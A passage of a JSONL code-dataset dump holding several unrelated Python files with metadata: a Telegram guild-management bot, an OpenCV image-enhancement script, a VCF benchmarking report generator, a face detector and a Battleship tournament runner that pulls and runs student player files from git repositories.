3:\n label = parts[2]\n elif len(parts) == 2:\n label = \"\"\n else:\n raise WrongCommandError(doc)\n\n guild = guilds.get(message.chat.id)\n handle = message.from_user.first_name\n handle_id = message.from_user.id\n\n today = int(guild.get_attendance_today(handle_id, handle, label))\n try:\n result = guild.get_history_of(handle_id, handle, label)\n except FortAttendanceNotFoundError:\n result = 0\n return m.MessageReply(\"Fort count for {}: {}\".format(handle, result + today))\n\n\ndef fort_reset_history(message):\n doc = \"\"\"Example:\n/fort reset_history\n \"\"\"\n guild = guilds.get(message.chat.id)\n guild.reset_fort_history()\n guilds.save()\n return m.MessageReply(\"Fort history reset.\", temporary=False)\n\n\ndef fort_get_history(message):\n doc = \"\"\"Example:\n/fort get_history\n \"\"\"\n guild = guilds.get(message.chat.id)\n history = guild.get_history_all()\n current_day = dt.datetime.now().date()\n msg = \"*Fort history {}/{}*\\n\".format(current_day.month, current_day.day)\n for p in history:\n msg += \"{} : {}\\n\".format(p.tg_handle, history[p])\n msg += \"\\nIf your name is not here, your recorded count is 0.\"\n return m.MessageReply(msg, temporary=False)\n\n\ndef fort_get_roster(message):\n doc = \"\"\"Example:\n/fort get_roster\n \"\"\"\n guild = guilds.get(message.chat.id)\n roster = guild.fort.get_roster()\n msg = render_fort_roster(roster)\n\n # Todo: escape markdown characters in message\n return m.MessageReply(msg,\n temporary=False,\n # reply_markup=render_fort_roster_markup()\n )\n\n\ndef fort_reassign(message):\n doc = \"\"\"Example:\n/fort reassign\n/fort reassign \n/fort reassign \n\n \"\"\"\n player_in = None\n player_out = None\n parts = message.text.split(' ')\n if len(parts) == 2:\n player_out = message.from_user.username or message.from_user.first_name\n if len(parts) >= 3:\n player_out = parts[2]\n if len(parts) == 4:\n player_in = parts[3]\n if len(parts) > 5:\n raise WrongCommandError(doc)\n return m.MessageReply(\"{} {}\".format(player_in, player_out), temporary=False)\n\n\n@bot.edited_message_handler(commands=['fort'])\n@bot.message_handler(commands=['fort'])\ndef fort(message):\n fort_commands = {\n 'mark': fort_mark,\n 'check': fort_check,\n 'reset_history': fort_reset_history,\n 'get_history': fort_get_history,\n 'get_roster': fort_get_roster,\n # 'reassign': fort_reassign,\n }\n doc = \"\"\"\n/fort command [arguments...]\nAvailable commands are : {}\n \"\"\".format([a for a in fort_commands.keys()])\n handle_command(fort_commands, message, doc)\n\n\n################################\n# Admin Handlers #\n################################\ndef _guild_pin(chat_id):\n guild = guilds.get(chat_id)\n guild_msg = render_guild_admin(guild)\n sent = bot.send_message(guild.chat_id,\n guild_msg,\n parse_mode=\"Markdown\",\n reply_markup=render_poll_markup(guild),\n disable_notification=True).wait()\n\n if type(sent) is tuple:\n if \"blocked\" in sent[1].result.text:\n _guild_stop(chat_id)\n else:\n logging.error(sent[1].result.text)\n else:\n guild.pinned_message_id = sent.message_id\n bot.pin_chat_message(guild.chat_id, guild.pinned_message_id)\n return None\n\n\ndef guild_pin(message):\n return _guild_pin(message.chat.id)\n\n\n@bot.edited_message_handler(commands=['admin'])\n@bot.message_handler(commands=['admin'])\ndef admin(message):\n admin_commands = {\n \"pin\": guild_pin,\n }\n doc = \"\"\"\n/admin command [arguments...]\nAvailable commands are : {}\n \"\"\".format([a for a in admin_commands.keys()])\n handle_command(admin_commands, message, doc)\n\n\ndef _guild_stop(chat_id):\n g = guilds.get(chat_id)\n setattr(g, \"stopped\", True)\n\n\n@bot.message_handler(commands=['stop'])\ndef stop(message):\n try:\n _guild_stop(message.chat.id)\n bot.send_message(message.chat.id, \"Guild bot stopped.\")\n guilds.save()\n except GuildNotFoundError:\n bot.send_message(message.chat.id, \"Guild bot already stopped.\")\n\n\n@bot.message_handler(commands=['start'])\ndef start(message):\n try:\n g = guilds.get(message.chat.id, ignore_stopped=True)\n setattr(g, \"stopped\", False)\n bot.send_message(message.chat.id, \"Guild bot ready.\")\n except GuildNotFoundError:\n guild = m.Guild()\n guilds.set(message.chat.id, guild)\n guild.chat_id = message.chat.id\n guild.title = message.chat.title\n bot.send_message(message.chat.id, \"Guild bot initialized.\")\n finally:\n guilds.save()\n\n\n@bot.message_handler(commands=['reset_guild'])\ndef reset(message):\n guilds.guilds.pop(message.chat.id, None)\n start(message)\n\n\nclass GuildAutomation(object):\n def __init__(self):\n tasks = [\n self.daily_reset,\n self.exped_reminder,\n self.fort_reminder,\n ]\n for task in tasks:\n thread = threading.Thread(target=task, args=())\n thread.daemon = True\n thread.start()\n\n def exped_reminder(self):\n while True:\n now = utils.get_singapore_time_now()\n two_mins = now + dt.timedelta(minutes=2)\n for guild in guilds.values():\n if getattr(guild, \"stopped\", False):\n continue\n for e in guild.expeditions.values():\n if utils.equal_hour_minute(e.get_time(), two_mins) and len(e.members) != 0:\n ready_markup = types.InlineKeyboardMarkup()\n ready_markup.add(\n types.InlineKeyboardButton(\n \"Im ready!\",\n callback_data=\"/exped ready {}\".format(e.title)\n )\n )\n bot.send_message(guild.chat_id,\n render_expedition_reminder(e),\n parse_mode=\"Markdown\",\n reply_markup=ready_markup,\n )\n time.sleep(60)\n\n def daily_reset(self):\n while True:\n now = utils.get_singapore_time_now()\n for guild in guilds.values():\n if getattr(guild, \"stopped\", False):\n continue\n if now.hour == guild.daily_reset_time:\n guild.reset_expeditions()\n guild.update_fort_history()\n _guild_pin(guild.chat_id)\n guilds.save()\n time.sleep(60 * 60)\n\n def fort_reminder(self):\n while True:\n ascent_chat_id = -1001235725395\n guild = guilds.get(ascent_chat_id)\n roster = guild.fort.get_roster()\n now = utils.get_singapore_time_now()\n if now.hour == 20 and now.minute == 55:\n bot.send_message(ascent_chat_id, # hard coded ascent chat id\n \"Fort Reminder:\\n\\n\" + render_fort_roster(roster),\n parse_mode=\"Markdown\",\n )\n time.sleep(60)\n\n\nGuildAutomation()\n\nif __name__ == \"__main__\":\n\n if os.getenv(\"LISTEN_MODE\") == \"webhook\":\n server = Flask(__name__)\n\n @server.route('/' + __token__, methods=['POST'])\n def getMessage():\n bot.process_new_updates([telebot.types.Update.de_json(request.stream.read().decode(\"utf-8\"))])\n return \"!\", 200\n\n\n @server.route(\"/\")\n def webhook():\n bot.remove_webhook()\n bot.set_webhook(url=\"{}/{}\".format(os.environ.get('WEBHOOK_HOST', 'localhost:5000'), __token__))\n return \"!\", 200\n\n\n server.run(host=\"0.0.0.0\", port=int(os.environ.get('PORT', 5000)))\n\n else:\n bot.remove_webhook()\n bot.polling(none_stop=True)\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 19264, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 15, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 17, "usage_type": "call"}, {"api_name": "telebot.logger.setLevel", "line_number": 18, "usage_type": "call"}, {"api_name": "telebot.logger", "line_number": 18, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 18, "usage_type": "attribute"}, {"api_name": "telebot.AsyncTeleBot", "line_number": 19, "usage_type": "call"}, {"api_name": "models.Guilds.load", "line_number": 21, "usage_type": "call"}, {"api_name": "models.Guilds", "line_number": 21, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 24, "usage_type": "call"}, {"api_name": "json.load", "line_number": 27, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 38, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 80, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 82, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 83, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 110, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 112, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 115, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 155, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 170, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 185, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 198, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 211, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 240, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 263, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 279, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 282, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 315, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 364, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 389, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 399, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 413, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 425, "usage_type": "call"}, {"api_name": "models.MessageReply", "line_number": 449, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 486, "usage_type": "call"}, {"api_name": "models.Guild", "line_number": 532, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 555, "usage_type": "call"}, {"api_name": "utils.get_singapore_time_now", "line_number": 561, "usage_type": "call"}, {"api_name": "utils.equal_hour_minute", "line_number": 567, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 580, "usage_type": "call"}, {"api_name": "utils.get_singapore_time_now", "line_number": 584, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 593, "usage_type": "call"}, {"api_name": "utils.get_singapore_time_now", "line_number": 600, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 606, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 613, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 614, "usage_type": "call"}, {"api_name": "telebot.types.Update.de_json", "line_number": 618, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 618, "usage_type": "attribute"}, {"api_name": "flask.request.stream.read", "line_number": 618, "usage_type": "call"}, {"api_name": "flask.request.stream", "line_number": 618, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 618, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 625, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 625, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 629, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 629, "usage_type": "attribute"}]} +{"seq_id": "307314191", "text": "from os import system\nsystem('clear')\nimport os\nimport numpy as np\nimport cv2\nimport argparse\n\n\n\ndef add( matrix1: np, matrix2: np) -> np:\n for i in range(len(matrix1)):\n for j in range(len(matrix1[0])):\n if int(matrix1[i][j]) + int(matrix2[i][j]) > 255:\n matrix1[i][j] = 255\n else:\n matrix1[i][j] = int(matrix1[i][j]) + int(matrix2[i][j])\n return matrix1\n\n\nimageList = os.listdir('testImage')\n\nfor i in imageList:\n \n img = cv2.imread('testImage/'+i)\n img = cv2.resize(img, (500, 500))\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n \n \n # Radiometric Enhancement of Image\n clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8,8))\n imgY = clahe.apply(img)\n cv2.imwrite('radiometricEnhancement_1/'+i, imgY)\n \n \n # Spatial Enhancement of Image\n imgX = cv2.bilateralFilter(img,9,80,80)\n \n \n img2 = cv2.Laplacian(imgX,cv2.CV_64F)\n img2 = add(img, img2) \n \n img = cv2.Sobel(img2,cv2.CV_64F,dx= 2,dy =2,ksize=3)\n img3 = cv2.GaussianBlur(img,(5,5),0)\n \n img = add(img,img3)\n\n img = np.array(255*(np.abs(img/255)**1.3),dtype='uint8')\n img = add(img,imgY)\n imgNew = img\n cv2.imwrite('spatialEnhancement_2/'+i, img)\n\n # Spectral Enhancement of Image\n img[:,:] = cv2.equalizeHist(img[:,:])\n # img = add(imgNew, img)\n cv2.imwrite('spectralEnhancement_3/'+i, img)\n \n\n # cv2.imwrite('geometricEnhancement_4/'+i, img)\n", "sub_path": "image enhancement.py", "file_name": "image enhancement.py", "file_ext": "py", "file_size_in_byte": 1467, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.system", "line_number": 2, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 26, "usage_type": "attribute"}, {"api_name": "cv2.createCLAHE", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.bilateralFilter", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.Laplacian", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 39, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 42, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 50, "usage_type": "call"}, {"api_name": "cv2.equalizeHist", "line_number": 53, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 55, "usage_type": "call"}]} +{"seq_id": "190356196", "text": "import argparse\nimport glob\nimport re\nimport pdb\nimport os\nimport pandas as pd\nimport openpyxl\n\nfrom tabulate import tabulate\n\ndef check_variantype(value):\n if value !='snps' and value!='indels':\n raise argparse.ArgumentTypeError(\"%s is an invalid variant type\" % value)\n return value\n\n\nparser = argparse.ArgumentParser(description='Script to generate report on the benchmarking of a VCF')\n\nparser.add_argument('--dir', required=True, help='Folder containing the per-chr folders generated by compare_with_giab.nf')\nparser.add_argument('--vt', required=True, help='Type of variant to analyze. Possible values are \\'snps\\' and \\'indels\\'', type=check_variantype)\nparser.add_argument('--outfile', required=True, help='Name for output spreadsheet')\n\n\nargs = parser.parse_args()\n\n\np=re.compile(\".*/results_(.*)\")\n\n\nclass BcftoolsStats(object):\n '''\n Class to store the results of running BCFtools stats on a VCF file\n '''\n\n def __init__(self, filename=None, summary_numbers=None, ts_tv=None,\n ts_tv_1stalt=None, no_singleton_snps=None):\n '''\n Constructor\n Parameters\n ----------\n filename : str\n Filename of the VCF that was used to run bcftools stats\n summary_numbers : dict\n Dictionary containing the basic stats. i.e.:\n number of samples: 1\n number of records: 1867316\n .....\n ts_tv : float\n ts/tv ratio\n ts_tv_1stalt : float\n ts/tv (1st ALT)\n no_singleton_snps : int\n '''\n\n self.filename = filename\n self.summary_numbers = summary_numbers\n self.ts_tv = ts_tv\n self.ts_tv_1stalt = ts_tv_1stalt\n self.no_singleton_snps = no_singleton_snps\n\n def __str__(self):\n sb = []\n for key in self.__dict__:\n sb.append(\"{key}='{value}'\".format(key=key, value=self.__dict__[key]))\n\n return ', '.join(sb)\n\n def __repr__(self):\n return self.__str__()\n\n\n\ndef parse_stats_file(f):\n '''\n Function to parse a stats file\n :param f:\n\n Returns\n -------\n BcftoolsStats object\n '''\n\n stats = BcftoolsStats(filename=f)\n\n with open(f) as fi:\n d = {}\n for line in fi:\n line = line.rstrip('\\n')\n if line.startswith('SN\\t'):\n key = line.split('\\t')[2]\n value = int(line.split('\\t')[3])\n d[key] = value\n elif line.startswith('TSTV\\t'):\n ts_tv = line.split('\\t')[4]\n ts_tv_1stalt = line.split('\\t')[7]\n stats.ts_tv = ts_tv\n stats.ts_tv_1stalt = ts_tv_1stalt\n elif line.startswith('SiS\\t'):\n no_singleton_snps = line.split('\\t')[3]\n stats.no_singleton_snps = no_singleton_snps\n\n stats.summary_numbers = d\n return stats\n\ndata = dict()\n\nfor dir in glob.glob(args.dir+\"/results_*\"):\n print(\"Processing: {0}\".format(dir))\n m = p.match(dir)\n if m:\n chr=m.group(1)\n numbers=dict()\n for f in glob.glob(dir+\"/*.highconf.stats\"):\n type=os.path.basename(f).split(\".\")[0]\n bcfobj=parse_stats_file(f)\n sum_dict=bcfobj.summary_numbers\n if args.vt=='snps':\n numbers[type]=sum_dict['number of SNPs:']\n elif args.vt=='indels':\n numbers[type] = sum_dict['number of indels:']\n chr_stripped=int(chr.replace(\"chr\",\"\"))\n if chr_stripped is not 'X': int(chr_stripped)\n data[chr_stripped]=numbers\n\n else:\n raise Exception('No chromosome was fetched from dir name')\n\n\ndf = pd.DataFrame.from_dict(data, orient='index')\ndf['total_cat1']=df.TP+df.FN\ndf['total_cat2']=df.TP+df.FP\ndf['%_TP']=round(df.TP*100/df.total_cat1,2)\ndf['%_FN']=round(df.FN*100/df.total_cat1,2)\ndf['%_FP']=round(df.FP*100/df.total_cat2,2)\n\ndf1=df.sort_index()\n\nprint(tabulate(df1, headers='keys', tablefmt='psql'))\n\n\nwriter = pd.ExcelWriter(args.outfile)\ndf1.to_excel(writer, 'Benchmarking')\nwriter.save()\n", "sub_path": "scripts/VCF/QC/generate_report.py", "file_name": "generate_report.py", "file_ext": "py", "file_size_in_byte": 4156, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "argparse.ArgumentTypeError", "line_number": 13, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 17, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 27, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 107, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 129, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 129, "usage_type": "attribute"}, {"api_name": "tabulate.tabulate", "line_number": 138, "usage_type": "call"}, {"api_name": "pandas.ExcelWriter", "line_number": 141, "usage_type": "call"}]} +{"seq_id": "183154038", "text": "import numpy as np\r\nimport cv2 as cv2\r\nimport os\r\n\r\n\r\nclass FaceDetection(object):\r\n def __init__(self, video):\r\n print(os.getcwd())\r\n self.face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\r\n self.eyes_cascade = cv2.CascadeClassifier('haarcascade_eye.xml')\r\n\r\n self.images = self.split_video(video)\r\n self.isFace, self.photo, self.frame, self.sqf, self.sqe = self.get_face()\r\n\r\n def split_video(self, path):\r\n \"\"\"\r\n Function to extract frames\r\n :param path:\r\n :return:\r\n \"\"\"\r\n vidObj = cv2.VideoCapture(path)\r\n images = []\r\n\r\n # Used as counter variable\r\n count = 0\r\n\r\n # checks whether frames were extracted\r\n success = 1\r\n\r\n while success:\r\n # vidObj object calls read\r\n # function extract frames\r\n success, image = vidObj.read()\r\n\r\n # Saves the frames with frame-count\r\n # cv2.imwrite(\"frame%d.jpg\" % count, image)\r\n images.append(image)\r\n count += 1\r\n return images\r\n\r\n def get_face(self):\r\n minEyes = 0.0\r\n minFace = 0.0\r\n frontalFace = None\r\n valid = False\r\n\r\n for img in self.images:\r\n if not isinstance(img, np.ndarray):\r\n continue\r\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n faces = self.face_cascade.detectMultiScale(gray, 1.3, 5)\r\n\r\n for (x, y, w, h) in faces:\r\n # squareFace = w * h\r\n # if minFace > squareFace:\r\n # continue\r\n # else:\r\n # minFace = squareFace\r\n # frontalFace = img\r\n\r\n #cv2.rectangle(self.image,(x,y),(x+w,y+h),(255,0,0),2)\r\n roi_gray = gray[y:y+h, x:x+w]\r\n roi_color = img[y:y+h, x:x+w]\r\n cv2.rectangle(roi_color, (x, y), (x + w, y + h), (155, 127, 255), 2)\r\n\r\n # Detects eyes of different sizes in the input image\r\n eyes = self.eyes_cascade.detectMultiScale(roi_gray)\r\n\r\n # To draw a rectangle in eyes\r\n for (ex, ey, ew, eh) in eyes:\r\n squareEye = ew * eh\r\n if minEyes > squareEye:\r\n continue\r\n else:\r\n minEyes = squareEye\r\n frontalFace = img\r\n valid = True\r\n # cv2.rectangle(roi_color, (ex, ey), (ex + ew, ey + eh), (0, 127, 255), 2)\r\n #cv2.imshow(\"ss\", roi_color)\r\n #cv2.waitKey(0)\r\n\r\n # return valid, roi_color, frontalFace, minFace, minEyes\r\n return valid, roi_color, frontalFace, minFace, minEyes\r\n\r\n def get_notification(self):\r\n # self.isFace, self.photo, self.frame, self.sqf, self.sqe\r\n notification = \"\"\r\n squareFrame = self.frame.shape[0] * self.frame.shape[1]\r\n print(\"SquareFrame : \", squareFrame)\r\n print(\"SquareFace : \", self.sqe)\r\n\r\n if self.sqe / squareFrame < 0.001:\r\n notification = \"Be close to camera front\"\r\n elif self.sqe / squareFrame > 0.05:\r\n notification = \"Be far from camera front\"\r\n else:\r\n notification = \"Good position\"\r\n return notification\r\n\r\n\r\n# # Tests\r\n# video_path = \"video.avi\"\r\n# p = FaceDetection(video_path)\r\n# print(p.get_notification())\r\n# if p.isFace:\r\n# cv2.imshow('ResultsFrame', p.frame)\r\n# cv2.waitKey(0)\r\n# cv2.destroyAllWindows()\r\n# else:\r\n# print(p.isFace)\r\n\r\n", "sub_path": "Project_14.py", "file_name": "Project_14.py", "file_ext": "py", "file_size_in_byte": 3653, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.getcwd", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.CascadeClassifier", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.CascadeClassifier", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 48, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 50, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 50, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 64, "usage_type": "call"}]} +{"seq_id": "627544830", "text": "from battleship_game import BattleshipGame\nimport csv\nimport os\nimport subprocess\nimport itertools\nimport signal\n\n\nclass TimeoutError(Exception):\n pass\n\n\ndef _handle_timeout(signum, frame):\n raise TimeoutError()\n\n\nclass BattleshipTournament(object):\n GAMES_PER_MATCH = 10\n \n def gen_commit_log(self):\n output = []\n \n for team in self.get_teams():\n rep = self.__teams_dict[team]\n wd = self.__get_dir(rep)\n \n if os.path.exists(wd):\n p = subprocess.run(['git',\n 'log',\n '--date=iso',\n '--pretty=format:%h,%an,%ad,\"%s\"',\n 'player.py'],\n stdout=subprocess.PIPE,\n cwd=wd)\n \n log = p.stdout.decode('utf-8').strip()\n \n for line in log.split('\\n'):\n output.append([team, rep] + line.split(',', 3))\n \n with open('commit_log.csv', 'w') as f:\n csv.writer(f).writerows(output)\n\n def commit_repository(self, team_name):\n rep = self.__teams_dict[team_name]\n wd = self.__get_dir(rep)\n\n if os.path.exists(wd):\n print('[{0}] git add results_log.csv'.format(team_name))\n subprocess.run(['git', 'add', 'results_log.csv'],\n stdout=subprocess.PIPE,\n cwd=wd)\n\n print('[{0}] git commit'.format(team_name))\n subprocess.run(['git', 'commit', '-m', 'Tournament {0} results.'.format(self.__id)],\n stdout=subprocess.PIPE,\n cwd=wd)\n\n print('[{0}] git pull --rebase'.format(team_name))\n subprocess.run(['git', 'pull', '--rebase'],\n stdout=subprocess.PIPE,\n cwd=wd)\n\n print('[{0}] git push'.format(team_name))\n subprocess.run(['git', 'push', 'origin', 'master'],\n stdout=subprocess.PIPE,\n cwd=wd)\n\n # Given a repository, slice out the X.500. This becomes the directory\n # where the team's player.py file resides.\n def __get_dir(self, rep):\n return 'repositories' + rep[22:32]\n\n def __load_player(self, team_name):\n directory = self.__get_dir(self.__teams_dict[team_name])\n file = directory + 'player.py'\n\n print('Loading player.py for {0}'.format(team_name))\n locals_dict = {}\n with open(file) as f:\n code = compile(f.read(), file, 'exec')\n exec(code, locals_dict, locals_dict)\n\n p = locals_dict['Player'](team_name)\n return p\n\n # Loads a dictionary of teams and repositories from the registration\n # file. \n def __load_teams(self, filename):\n d = {}\n with open(filename, 'r') as f:\n c = csv.reader(f)\n\n # Skips the header row\n next(c)\n\n for line in c:\n d[line[2]] = line[3]\n\n return d\n\n # Refreshes a team's repository with the latest version of their files.\n def pull_repository(self, team_name):\n rep = self.__teams_dict[team_name]\n wd = self.__get_dir(rep)\n\n if os.path.exists(wd):\n subprocess.run(['git', 'pull'], cwd=wd, stdout=subprocess.PIPE)\n else:\n subprocess.run(['git', 'clone', rep, wd], stdout=subprocess.PIPE)\n\n # reset player's log file for this tournament\n if os.path.exists(wd):\n file = wd + 'results_log.csv'\n open(file, 'w').close()\n\n # Writes information to a the results_log.csv file in the team's\n # repository.\n def __writelog(self, team_name, log_lines):\n directory = self.__get_dir(self.__teams_dict[team_name])\n file = directory + 'results_log.csv'\n\n if os.path.exists(directory):\n with open(file, 'a') as f:\n csv.writer(f).writerows(log_lines)\n\n # Writes a summary row to the main results.csv file, used to generate\n # the leaderboard.\n def __writesummary(self, log_line):\n with open('results.csv', 'a') as f:\n csv.writer(f).writerows(log_line)\n\n def get_teams(self):\n return self.__teams_dict\n\n # Runs a single game and logs the result.\n def run_game(self, team1, team2):\n p_list = []\n\n for t in [team1, team2]:\n # setup infinite loop handling\n signal.signal(signal.SIGALRM, _handle_timeout)\n signal.alarm(2)\n\n # Try to load each team's player.py file. If it doesn't exist,\n # log an error to that team's repository results.\n try:\n p_list.append(self.__load_player(t))\n except TimeoutError as e:\n log = [[-1,\n 'player_load',\n t,\n '',\n 'error',\n 'infinite loop detected']] \n except Exception as e:\n log = [[-1,\n 'player_load',\n t,\n '',\n 'error',\n str(e)]]\n self.__writelog(t, log)\n finally:\n signal.alarm(0)\n\n # If we have both players, then let the game begin!\n if len(p_list) == 2:\n self.__current_game += 1\n g = BattleshipGame(self.__current_game, p_list[0], p_list[1])\n log = g.run()\n\n for t in [team1, team2]:\n self.__writelog(t, log)\n\n self.__writesummary([log[-1]])\n\n # A match is a series of games between two players. The number of games\n # is controlled by the GAMES_PER_MATCH constant.\n def run_match(self, team1, team2):\n t1 = team1\n t2 = team2\n\n try:\n for i in range(self.GAMES_PER_MATCH):\n self.run_game(t1, t2)\n t1, t2 = t2, t1\n except FileNotFoundError as e:\n print(e)\n\n # Runs the tournament, pitting all players against each other. Pass\n # refresh=False to skip the repository refresh step (for performance).\n def run(self, refresh=True, commit=False):\n # Refresh all repositories\n if refresh:\n for t in self.__teams_dict:\n self.pull_repository(t)\n\n # itertools library generates all combinations of 2 teams and runs\n # GAMES_PER_MATCH games for each combination.\n for t1, t2 in itertools.combinations(self.__teams_dict, 2):\n self.run_match(t1, t2)\n\n if commit:\n for t in self.__teams_dict:\n self.commit_repository(t)\n\n def __init__(self, t_id, teams_file='teams.csv'):\n self.__teams_dict = self.__load_teams(teams_file)\n self.__id = t_id\n\n # ids are a 2-digit tournament id + a 5-digit game id\n # (total = 7 digits)\n self.__current_game = t_id * 100000\n", "sub_path": "battleship_tournament.py", "file_name": "battleship_tournament.py", "file_ext": "py", "file_size_in_byte": 7122, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.path.exists", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 28, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 33, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 50, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 51, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 55, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 56, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 60, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 61, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 65, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 66, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 108, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 108, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 110, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path", "line_number": 123, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 125, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 131, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 142, "usage_type": "call"}, {"api_name": "signal.SIGALRM", "line_number": 142, "usage_type": "attribute"}, {"api_name": "signal.alarm", "line_number": 143, "usage_type": "call"}, {"api_name": "signal.alarm", "line_number": 165, "usage_type": "call"}, {"api_name": "battleship_game.BattleshipGame", "line_number": 170, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 201, "usage_type": "call"}]} +{"seq_id": "916053", "text": "import numpy as np\nimport time\nfrom collections import deque\n\n\nclass Buffer:\n \"\"\"Buffer 